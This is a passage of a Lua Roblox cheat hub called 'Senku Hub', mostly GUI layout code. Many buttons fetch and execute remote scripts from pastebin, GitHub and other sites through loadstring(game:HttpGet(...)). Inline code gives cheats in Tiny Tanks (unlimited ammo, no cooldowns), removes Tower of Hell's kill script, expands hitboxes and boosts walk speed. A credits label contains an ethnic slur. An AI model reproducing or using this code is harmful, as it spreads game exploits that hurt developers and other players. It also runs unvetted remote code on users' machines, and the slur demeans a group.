6906 loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source'))()
6907end)
6908
6909TextButton_Roundify_12px_3.Name = "TextButton_Roundify_12px"
6910TextButton_Roundify_12px_3.Parent = Admin
6911TextButton_Roundify_12px_3.Active = true
6912TextButton_Roundify_12px_3.AnchorPoint = Vector2.new(0.5, 0.5)
6913TextButton_Roundify_12px_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
6914TextButton_Roundify_12px_3.BackgroundTransparency = 1.000
6915TextButton_Roundify_12px_3.Position = UDim2.new(0.5, 0, 0.5, 0)
6916TextButton_Roundify_12px_3.Selectable = true
6917TextButton_Roundify_12px_3.Size = UDim2.new(1, 0, 1, 0)
6918TextButton_Roundify_12px_3.Image = "rbxassetid://3570695787"
6919TextButton_Roundify_12px_3.ImageColor3 = Color3.fromRGB(90, 90, 90)
6920TextButton_Roundify_12px_3.ScaleType = Enum.ScaleType.Slice
6921TextButton_Roundify_12px_3.SliceCenter = Rect.new(100, 100, 100, 100)
6922TextButton_Roundify_12px_3.SliceScale = 0.120
6923
6924Close.Name = "Close"
6925Close.Parent = MainFrame
6926Close.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
6927Close.BackgroundTransparency = 1.000
6928Close.BorderSizePixel = 0
6929Close.Position = UDim2.new(0.338, 0, 0.776000023, 0)
6930Close.Size = UDim2.new(0, 161, 0, 21)
6931Close.ZIndex = 2
6932Close.Font = Enum.Font.ArialBold
6933Close.Text = "x"
6934Close.TextColor3 = Color3.fromRGB(170, 0, 0)
6935Close.TextScaled = true
6936Close.TextSize = 14.000
6937Close.TextWrapped = true
6938Close.MouseButton1Down:Connect(function()
6939 ScreenGui:Destroy()
6940end)
6941
6942Close_Roundify_12px.Name = "Close_Roundify_12px"
6943Close_Roundify_12px.Parent = Close
6944Close_Roundify_12px.Active = true
6945Close_Roundify_12px.AnchorPoint = Vector2.new(0.5, 0.5)
6946Close_Roundify_12px.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
6947Close_Roundify_12px.BackgroundTransparency = 1.000
6948Close_Roundify_12px.Position = UDim2.new(0.5, 0, 0.5, 0)
6949Close_Roundify_12px.Selectable = true
6950Close_Roundify_12px.Size = UDim2.new(1, 0, 1, 0)
6951Close_Roundify_12px.Image = "rbxassetid://3570695787"
6952Close_Roundify_12px.ImageColor3 = Color3.fromRGB(90, 90, 90)
6953Close_Roundify_12px.ScaleType = Enum.ScaleType.Slice
6954Close_Roundify_12px.SliceCenter = Rect.new(100, 100, 100, 100)
6955Close_Roundify_12px.SliceScale = 0.120
6956
6957CredFrame.Name = "CredFrame"
6958CredFrame.Parent = ScreenGui
6959CredFrame.AnchorPoint = Vector2.new(0.5, 0.5)
6960CredFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
6961CredFrame.Position = UDim2.new(0.5, 0, 0.5, 0)
6962CredFrame.Size = UDim2.new(0, 200, 0, 300)
6963CredFrame.Visible = false
6964CredFrame.Style = Enum.FrameStyle.DropShadow
6965
6966Title.Name = "Title"
6967Title.Parent = CredFrame
6968Title.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
6969Title.BackgroundTransparency = 1.000
6970Title.Position = UDim2.new(0.0399999991, 0, 0.00666666776, 0)
6971Title.Size = UDim2.new(0, 169, 0, 50)
6972Title.Font = Enum.Font.Gotham
6973Title.Text = "Credits"
6974Title.TextColor3 = Color3.fromRGB(0, 0, 0)
6975Title.TextSize = 23.000
6976Title.TextWrapped = true
6977
6978ProfileImage.Name = "ProfileImage"
6979ProfileImage.Parent = CredFrame
6980ProfileImage.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
6981ProfileImage.BackgroundTransparency = 1.000
6982ProfileImage.Position = UDim2.new(0.043516688, 0, 0.18309474, 0)
6983ProfileImage.Size = UDim2.new(0, 53, 0, 54)
6984ProfileImage.Image = "http://www.roblox.com/asset/?id=5221084591"
6985
6986Name.Name = "Name"
6987Name.Parent = CredFrame
6988Name.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
6989Name.BackgroundTransparency = 1.000
6990Name.Position = UDim2.new(0.354951799, 0, 0.180927992, 0)
6991Name.Size = UDim2.new(0, 110, 0, 28)
6992Name.Font = Enum.Font.ArialBold
6993Name.Text = "RustedDeveloperMike"
6994Name.TextColor3 = Color3.fromRGB(0, 0, 0)
6995Name.TextScaled = true
6996Name.TextSize = 14.000
6997Name.TextWrapped = true
6998
6999Par1.Name = "Par1"
7000Par1.Parent = CredFrame
7001Par1.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
7002Par1.BackgroundTransparency = 1.000
7003Par1.Position = UDim2.new(0.304407954, 0, 0.258876741, 0)
7004Par1.Size = UDim2.new(0, 122, 0, 54)
7005Par1.Font = Enum.Font.SourceSansBold
7006Par1.Text = "Hello, I am rusted!"
7007Par1.TextColor3 = Color3.fromRGB(0, 0, 0)
7008Par1.TextSize = 12.000
7009Par1.TextWrapped = true
7010
7011Par2.Name = "Par2"
7012Par2.Parent = CredFrame
7013Par2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
7014Par2.BackgroundTransparency = 1.000
7015Par2.Position = UDim2.new(0.0508139059, 0, 0.0838218182, 0)
7016Par2.Size = UDim2.new(0, 164, 0, 236)
7017Par2.Font = Enum.Font.SourceSansBold
7018Par2.Text = "I made many roblox games before! But right now you are using my Chinese Fucker gui, I hope you enjoy this script."
7019Par2.TextColor3 = Color3.fromRGB(0, 0, 0)
7020Par2.TextSize = 12.000
7021Par2.TextWrapped = true
7022
7023backButton.Name = "backButton"
7024backButton.Parent = CredFrame
7025backButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
7026backButton.Position = UDim2.new(0.217548981, 0, 0.899791062, 0)
7027backButton.Size = UDim2.new(0, 91, 0, 26)
7028backButton.Style = Enum.ButtonStyle.RobloxRoundDefaultButton
7029backButton.Font = Enum.Font.SourceSans
7030backButton.Text = "Back"
7031backButton.TextColor3 = Color3.fromRGB(0, 0, 0)
7032backButton.TextSize = 14.000
7033backButton.MouseButton1Down:Connect(function()
7034 ButtonSound:Play()
7035 MainFrame.Visible = true
7036 wait()
7037 CredFrame.Visible = false
7038end)
7039
7040Arrow.Name = "Arrow"
7041Arrow.Parent = CredFrame
7042Arrow.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
7043Arrow.BackgroundTransparency = 1.000
7044Arrow.Position = UDim2.new(-0.112055972, 0, 0.912131548, 0)
7045Arrow.Size = UDim2.new(0, 91, 0, 20)
7046Arrow.Image = "http://www.roblox.com/asset/?id=5221135765"
7047Arrow.ScaleType = Enum.ScaleType.Fit
7048
7049PartySound.Parent = ScreenGui
7050PartySound.Name = "Firework"
7051PartySound.SoundId = "rbxassetid://171715991"
7052PartySound.Looped = false
7053PartySound.Volume = 0.6
7054
7055mps.PromptGamePassPurchaseFinished:Connect(function(player, id, purchased)
7056 if id == gamepass_id and purchased then
7057 Donate.Visible = false
7058 RecieptText.Visible = true
7059 RecieptText.ZIndex = 5
7060 PartySound:Play()
7061 wait(3.5)
7062 RecieptText.Visible = false
7063 PartySound:Pause()
7064 end
7065end)
7066end)
7067
7068MadGamesScript.Name = "MadGamesScript"
7069MadGamesScript.Parent = main
7070MadGamesScript.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
7071MadGamesScript.Position = UDim2.new(0.733104289, 0, 0.515730262, 0)
7072MadGamesScript.Size = UDim2.new(0, 88, 0, 25)
7073MadGamesScript.Font = Enum.Font.SourceSans
7074MadGamesScript.Text = "MadGamesScript"
7075MadGamesScript.TextColor3 = Color3.fromRGB(0, 0, 0)
7076MadGamesScript.TextSize = 11.000
7077MadGamesScript.MouseButton1Down:connect(function()
7078loadstring(game:GetObjects("rbxassetid://693572038")[1].Source)()
7079end)
7080
7081PhantomForcesGUI.Name = "PhantomForcesGUI"
7082PhantomForcesGUI.Parent = main
7083PhantomForcesGUI.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
7084PhantomForcesGUI.Position = UDim2.new(0.0196627378, 0, 0.341111571, 0)
7085PhantomForcesGUI.Size = UDim2.new(0, 77, 0, 25)
7086PhantomForcesGUI.Font = Enum.Font.SourceSans
7087PhantomForcesGUI.Text = "PhantomForcesGUI"
7088PhantomForcesGUI.TextColor3 = Color3.fromRGB(0, 0, 0)
7089PhantomForcesGUI.TextSize = 10.000
7090PhantomForcesGUI.MouseButton1Down:connect(function()
7091loadstring(game:HttpGet("https://www.pastebin.com/raw/m57yfT6v"))()
7092end)
7093
7094RagdollEngineGUI.Name = "RagdollEngineGUI"
7095RagdollEngineGUI.Parent = main
7096RagdollEngineGUI.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
7097RagdollEngineGUI.Position = UDim2.new(0.202645004, 0, 0.162340611, 0)
7098RagdollEngineGUI.Size = UDim2.new(0, 76, 0, 25)
7099RagdollEngineGUI.Font = Enum.Font.SourceSans
7100RagdollEngineGUI.Text = "RagdollEngineGUI"
7101RagdollEngineGUI.TextColor3 = Color3.fromRGB(0, 0, 0)
7102RagdollEngineGUI.TextSize = 11.000
7103RagdollEngineGUI.MouseButton1Down:connect(function()
7104loadstring(game:HttpGet(('https://pastebin.com/raw/T7weKqag'),true))()
7105end)
7106
7107SkyBlockGUI.Name = "SkyBlockGUI"
7108SkyBlockGUI.Parent = main
7109SkyBlockGUI.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
7110SkyBlockGUI.Position = UDim2.new(0.0209440291, 0, 0.162340611, 0)
7111SkyBlockGUI.Size = UDim2.new(0, 60, 0, 25)
7112SkyBlockGUI.Font = Enum.Font.SourceSans
7113SkyBlockGUI.Text = "SkyBlockGUI"
7114SkyBlockGUI.TextColor3 = Color3.fromRGB(0, 0, 0)
7115SkyBlockGUI.TextSize = 13.000
7116SkyBlockGUI.MouseButton1Down:connect(function()
7117loadstring(game:HttpGet('https://pastebin.com/raw/kf2BcLyf'))()
7118end)
7119
7120TinyTanksGUI.Name = "TinyTanksGUI"
7121TinyTanksGUI.Parent = main
7122TinyTanksGUI.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
7123TinyTanksGUI.Position = UDim2.new(0.759074271, 0, 0.159622848, 0)
7124TinyTanksGUI.Size = UDim2.new(0, 78, 0, 25)
7125TinyTanksGUI.Font = Enum.Font.SourceSans
7126TinyTanksGUI.Text = "TinyTanksGUI"
7127TinyTanksGUI.TextColor3 = Color3.fromRGB(0, 0, 0)
7128TinyTanksGUI.TextSize = 13.000
7129TinyTanksGUI.MouseButton1Down:connect(function()
7130local TinyTanksCheatGuiByLeviTheOtaku = Instance.new("ScreenGui")
7131local MainFrame = Instance.new("Frame")
7132local FastTankButton = Instance.new("TextButton")
7133local InfFireRateButton = Instance.new("TextButton")
7134local NoReloadButton = Instance.new("TextButton")
7135local InfSpecialAmmoButton = Instance.new("TextButton")
7136local NoAbilityCooldown = Instance.new("TextButton")
7137
7138TinyTanksCheatGuiByLeviTheOtaku.Name = "TinyTanksCheatGuiByLeviTheOtaku"
7139TinyTanksCheatGuiByLeviTheOtaku.Parent = game.CoreGui
7140
7141MainFrame.Name = "MainFrame"
7142MainFrame.Parent = TinyTanksCheatGuiByLeviTheOtaku
7143MainFrame.BackgroundColor3 = Color3.new(0, 0, 0)
7144MainFrame.BorderColor3 = Color3.new(1, 1, 1)
7145MainFrame.BorderSizePixel = 3
7146MainFrame.Position = UDim2.new(0.699999988, 0, 0.949999988, 0)
7147MainFrame.Size = UDim2.new(0.200000003, 0, 0.0500000007, 0)
7148
7149FastTankButton.Name = "FastTankButton"
7150FastTankButton.Parent = MainFrame
7151FastTankButton.BackgroundColor3 = Color3.new(1, 1, 1)
7152FastTankButton.BackgroundTransparency = 0.5
7153FastTankButton.BorderSizePixel = 0
7154FastTankButton.Position = UDim2.new(0, 0, 0.100000001, 0)
7155FastTankButton.Size = UDim2.new(0.200000003, 0, 0.800000012, 0)
7156FastTankButton.Font = Enum.Font.Highway
7157FastTankButton.FontSize = Enum.FontSize.Size14
7158FastTankButton.Text = "Fast Tank"
7159FastTankButton.TextColor3 = Color3.new(1, 1, 1)
7160FastTankButton.TextSize = 14
7161FastTankButton.TextWrapped = true
7162
7163InfFireRateButton.Name = "InfFireRateButton"
7164InfFireRateButton.Parent = MainFrame
7165InfFireRateButton.BackgroundColor3 = Color3.new(1, 1, 1)
7166InfFireRateButton.BackgroundTransparency = 0.5
7167InfFireRateButton.BorderSizePixel = 0
7168InfFireRateButton.Position = UDim2.new(0.200000003, 0, 0.100000001, 0)
7169InfFireRateButton.Size = UDim2.new(0.200000003, 0, 0.800000012, 0)
7170InfFireRateButton.Font = Enum.Font.Highway
7171InfFireRateButton.FontSize = Enum.FontSize.Size14
7172InfFireRateButton.Text = "Inf Fire Rate"
7173InfFireRateButton.TextColor3 = Color3.new(1, 1, 1)
7174InfFireRateButton.TextSize = 14
7175InfFireRateButton.TextWrapped = true
7176
7177NoReloadButton.Name = "NoReloadButton"
7178NoReloadButton.Parent = MainFrame
7179NoReloadButton.BackgroundColor3 = Color3.new(1, 1, 1)
7180NoReloadButton.BackgroundTransparency = 0.5
7181NoReloadButton.BorderSizePixel = 0
7182NoReloadButton.Position = UDim2.new(0.400000006, 0, 0.100000001, 0)
7183NoReloadButton.Size = UDim2.new(0.200000003, 0, 0.800000012, 0)
7184NoReloadButton.Font = Enum.Font.Highway
7185NoReloadButton.FontSize = Enum.FontSize.Size14
7186NoReloadButton.Text = "No Reload"
7187NoReloadButton.TextColor3 = Color3.new(1, 1, 1)
7188NoReloadButton.TextSize = 14
7189NoReloadButton.TextWrapped = true
7190
7191InfSpecialAmmoButton.Name = "InfSpecialAmmoButton"
7192InfSpecialAmmoButton.Parent = MainFrame
7193InfSpecialAmmoButton.BackgroundColor3 = Color3.new(1, 1, 1)
7194InfSpecialAmmoButton.BackgroundTransparency = 0.5
7195InfSpecialAmmoButton.BorderSizePixel = 0
7196InfSpecialAmmoButton.Position = UDim2.new(0.600000024, 0, 0.100000001, 0)
7197InfSpecialAmmoButton.Size = UDim2.new(0.200000003, 0, 0.800000012, 0)
7198InfSpecialAmmoButton.Font = Enum.Font.Highway
7199InfSpecialAmmoButton.FontSize = Enum.FontSize.Size14
7200InfSpecialAmmoButton.Text = "Inf Special Ammo"
7201InfSpecialAmmoButton.TextColor3 = Color3.new(1, 1, 1)
7202InfSpecialAmmoButton.TextSize = 14
7203InfSpecialAmmoButton.TextWrapped = true
7204
7205NoAbilityCooldown.Name = "NoAbilityCooldown"
7206NoAbilityCooldown.Parent = MainFrame
7207NoAbilityCooldown.BackgroundColor3 = Color3.new(1, 1, 1)
7208NoAbilityCooldown.BackgroundTransparency = 0.5
7209NoAbilityCooldown.BorderSizePixel = 0
7210NoAbilityCooldown.Position = UDim2.new(0.800000012, 0, 0.100000001, 0)
7211NoAbilityCooldown.Size = UDim2.new(0.200000003, 0, 0.800000012, 0)
7212NoAbilityCooldown.Font = Enum.Font.Highway
7213NoAbilityCooldown.FontSize = Enum.FontSize.Size14
7214NoAbilityCooldown.Text = "No Ability Cooldown"
7215NoAbilityCooldown.TextColor3 = Color3.new(1, 1, 1)
7216NoAbilityCooldown.TextSize = 14
7217NoAbilityCooldown.TextWrapped = true
7218
7219FastTankButton.MouseButton1Down:connect(function()
7220mytank = workspace.Tanks["Tank-" .. game.Players.LocalPlayer.Name .. ""]
7221mytank.Settings.MoveSpeed.Value = 50
7222mytank.Settings.RotationSpeed.Value = math.huge
7223end)
7224
7225InfFireRateButton.MouseButton1Down:connect(function()
7226mytank = workspace.Tanks["Tank-" .. game.Players.LocalPlayer.Name .. ""]
7227mytank.Settings.MaxFireRate.Value = 0.1
7228end)
7229
7230NoReloadButton.MouseButton1Down:connect(function()
7231mytank = workspace.Tanks["Tank-" .. game.Players.LocalPlayer.Name .. ""]
7232mytank.Settings.LoadedShots.Value = 2000000000
7233end)
7234
7235InfSpecialAmmoButton.MouseButton1Down:connect(function()
7236mytank = workspace.Tanks["Tank-" .. game.Players.LocalPlayer.Name .. ""]
7237local ammos = mytank.AvailableAmmo:GetChildren()
7238for i =1, #ammos do
7239wait(0.1)
7240ammos[i].Value = 2000000000
7241end
7242end)
7243
7244NoAbilityCooldown.MouseButton1Down:connect(function()
7245mytank = workspace.Tanks["Tank-" .. game.Players.LocalPlayer.Name .. ""]
7246mytank.Settings.AbilityCooldown.Value = 0.1
7247end)
7248end)
7249
7250TowerOfHellGodmode.Name = "TowerOfHellGodmode"
7251TowerOfHellGodmode.Parent = main
7252TowerOfHellGodmode.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
7253TowerOfHellGodmode.Position = UDim2.new(0.694011748, 0, 0.828318715, 0)
7254TowerOfHellGodmode.Size = UDim2.new(0, 103, 0, 13)
7255TowerOfHellGodmode.Font = Enum.Font.SourceSans
7256TowerOfHellGodmode.Text = "TowerOfHellGodmode"
7257TowerOfHellGodmode.TextColor3 = Color3.fromRGB(0, 0, 0)
7258TowerOfHellGodmode.TextSize = 12.000
7259TowerOfHellGodmode.MouseButton1Down:connect(function()
7260while wait do -- thanks for taking my script I hope you enjoy!
7261game.Players.LocalPlayer.Character.KillScript:Destroy()
7262end
7263
7264end)
7265
7266UniversalHitboxExpander.Name = "UniversalHitboxExpander"
7267UniversalHitboxExpander.Parent = main
7268UniversalHitboxExpander.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
7269UniversalHitboxExpander.Position = UDim2.new(0.683344483, 0, 0.338393748, 0)
7270UniversalHitboxExpander.Size = UDim2.new(0, 107, 0, 25)
7271UniversalHitboxExpander.Font = Enum.Font.SourceSans
7272UniversalHitboxExpander.Text = "UniversalHitboxExpander"
7273UniversalHitboxExpander.TextColor3 = Color3.fromRGB(0, 0, 0)
7274UniversalHitboxExpander.TextSize = 11.000
7275UniversalHitboxExpander.MouseButton1Down:connect(function()
7276loadstring(game:HttpGet("http://gameovers.net/Scripts/Free/HitboxExpander/main.lua", true))()
7277end)
7278
7279UniversalToggleSpeed.Name = "UniversalToggleSpeed"
7280UniversalToggleSpeed.Parent = main
7281UniversalToggleSpeed.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
7282UniversalToggleSpeed.Position = UDim2.new(0.694011748, 0, 0.70763737, 0)
7283UniversalToggleSpeed.Size = UDim2.new(0, 103, 0, 13)
7284UniversalToggleSpeed.Font = Enum.Font.SourceSans
7285UniversalToggleSpeed.Text = "UniversalToggleSpeed"
7286UniversalToggleSpeed.TextColor3 = Color3.fromRGB(0, 0, 0)
7287UniversalToggleSpeed.TextSize = 12.000
7288UniversalToggleSpeed.MouseButton1Down:connect(function()
7289local UIS = game:GetService("UserInputService")
7290
7291UIS.InputBegan:Connect(function(input)
7292 if input.keyCode == Enum.KeyCode.E
7293 then
7294 game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = game.Players.LocalPlayer.Character.Humanoid.WalkSpeed + 5
7295 elseif input.keyCode == Enum.KeyCode.Q
7296 then
7297 game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = game.Players.LocalPlayer.Character.Humanoid.WalkSpeed - 5
7298 end
7299end)
7300
7301end)
7302
7303MainLabel.Name = "MainLabel"
7304MainLabel.Parent = main
7305MainLabel.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
7306MainLabel.Position = UDim2.new(0.00159840984, 0, 0, 0)
7307MainLabel.Size = UDim2.new(0, 369, 0, 20)
7308MainLabel.Font = Enum.Font.Highway
7309MainLabel.Text = " Senku Hub - Made By beans#3147 (Scripts Not Made By Me)."
7310MainLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
7311MainLabel.TextSize = 13.000
7312MainLabel.TextXAlignment = Enum.TextXAlignment.Left
7313
7314close.Name = "close"
7315close.Parent = main
7316close.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
7317close.Position = UDim2.new(0.883468807, 0, 0.0167597774, 0)
7318close.Size = UDim2.new(0, 32, 0, 14)
7319close.Font = Enum.Font.SourceSans
7320close.Text = "Close"
7321close.TextColor3 = Color3.fromRGB(255, 255, 255)
7322close.TextSize = 14.000
7323close.MouseButton1Down:connect(function()
7324main.Visible = false
7325OpenGUI.Visible = true
7326end)
7327
7328OpenGUI.Name = "Open GUI"
7329OpenGUI.Parent = ScreenGui
7330OpenGUI.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
7331OpenGUI.Position = UDim2.new(0, 0, 0.442260444, 0)
7332OpenGUI.Size = UDim2.new(0, 72, 0, 23)
7333OpenGUI.Active = true
7334OpenGUI.Draggable = true
7335
7336Open.Name = "Open"
7337Open.Parent = OpenGUI
7338Open.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
7339Open.Position = UDim2.new(0, 0, -0.0323149264, 0)
7340Open.Size = UDim2.new(0, 72, 0, 23)
7341Open.Font = Enum.Font.GothamBlack
7342Open.Text = "Open GUI"
7343Open.TextColor3 = Color3.fromRGB(255, 255, 255)
7344Open.TextSize = 14.000
7345Open.MouseButton1Down:connect(function()
7346OpenGUI.Visible = false
7347main.Visible = true
7348end)